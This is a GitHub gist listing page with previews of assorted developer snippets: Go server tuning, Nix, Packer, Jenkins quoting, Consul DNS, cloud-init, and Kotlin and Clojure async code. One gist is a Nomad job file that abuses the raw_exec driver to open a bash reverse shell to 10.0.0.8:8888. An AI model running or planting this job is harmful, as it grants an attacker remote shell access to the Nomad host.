Skip to content

Instantly share code, notes, and snippets.

View kolotaev's full-sized avatar
🦔
githubbing...

kolotaev

🦔
githubbing...
View GitHub Profile
@oddmario
oddmario / tune_go_http_server.md
Last active December 28, 2025 08:39
Tuning a Golang (Go) HTTP server

Tune a Go http.Server

by adjusting its default buffer sizes


In some situations, you may need to adjust the default buffer sizes of a Golang HTTP server.

Adjusting the default buffer sizes allows you to benefit from higher throughput and improve the performance of your HTTP servers overall.

For the cherry on the top,

@carnal0wnage
carnal0wnage / sploit_service_revshell.hcl
Created December 18, 2018 16:35
hcl file to get a reverse shell from the nomad server via raw_exec
job "sploit_service_revshell" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "bash -i >& /dev/tcp/10.0.0.8/8888 0>&1"]
}
@grossbart
grossbart / nix.md
Last active February 28, 2025 04:15
Nix on macOS

Nix

Nix is a powerful package manager that makes package management reliable and reproducible. It provides atomic upgrades and rollbacks, side-by-side installation of multiple versions of a package, multi-user package management and easy setup of build environments.

Installation

@summerwind
summerwind / build-a-os-image-with-packer-and-qemu.md
Last active April 10, 2024 19:32
Build a OS image with Packer and QEMU

Build a OS image with QEMU and Ubuntu Cloud Image

Prerequirements

  • Packer
  • QEMU
  • Docker

Build an image of cloud-init settings

@zloster
zloster / echo-in-console-instruction-count.md
Created November 17, 2016 15:24
How much work the poor CPU needs to do when we echo 4-characters string in the Linux console?

And the answer is:

688471 instructions

--@--:~$ uname -a
Linux 3.13.0-101-generic #148-Ubuntu SMP Thu Oct 20 22:09:17 UTC 2016 i686 i686 i686 GNU/Linux
--@--:~$ sudo perf stat echo test
test
@grrywlsn
grrywlsn / cloud-init
Created July 5, 2016 23:53
cloud-init script for AWS CentOS to use Ansible-Pull on startup
#!/bin/bash
# Set this script as the AWS user-data for a fresh CentOS AMI
# It will be run on startup, and logs to /var/log/cloud-init.log
rpm -iUvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
yum -y update
yum -y install epel-release
yum -y install ansible
yum -y install git
mkdir -p /home/centos/.ssh
cat <<EOF > /home/centos/.ssh/id_rsa
@Faheetah
Faheetah / Jenkinsfile.groovy
Last active October 7, 2025 15:42
Jenkinsfile idiosynchrasies with escaping and quotes
node {
echo 'Results included as an inline comment exactly how they are returned as of Jenkins 2.121, with $BUILD_NUMBER = 1'
echo 'No quotes, pipeline command in single quotes'
sh 'echo $BUILD_NUMBER' // 1
echo 'Double quotes are silently dropped'
sh 'echo "$BUILD_NUMBER"' // 1
echo 'Even escaped with a single backslash they are dropped'
sh 'echo \"$BUILD_NUMBER\"' // 1
echo 'Using two backslashes, the quotes are preserved'
sh 'echo \\"$BUILD_NUMBER\\"' // "1"
@wfaler
wfaler / bind-consul.sh
Created September 9, 2015 19:01
use consul as DNS for local services, fronted by Bind for the rest
sudo apt-get install bind9 bind9utils bind9-doc
wget https://dl.bintray.com/mitchellh/consul/0.5.2_linux_amd64.zip
/etc/bind/named.conf.options:
options {
directory "/var/cache/bind";
recursion yes;
allow-query { localhost; };
forwarders {
@terrybleger
terrybleger / async.kt
Last active April 5, 2020 17:43
Vertx - Quasar - Kotlin
package util.func
import co.paralleluniverse.fibers.*
import co.paralleluniverse.strands.SuspendableCallable
import co.paralleluniverse.strands.SuspendableRunnable
import io.vertx.core.Context
import io.vertx.core.Future
import io.vertx.core.Vertx
import java.util.concurrent.Executor
@jjwatt
jjwatt / coolquery.clj
Last active September 7, 2019 09:37
core.async database query fn
(ns
#^{:author "Jesse Wattenbarger"
:doc "pulled out of a production program for gist."}
coolquery.core
(:gen-class)
(:require [clojure.java.io :as io]
[clojure.core.async :as a :refer
[chan go go-loop close! <!! <! >! >!!]]
[jdbc.core :as jdbc] ;; good jdbc interop
))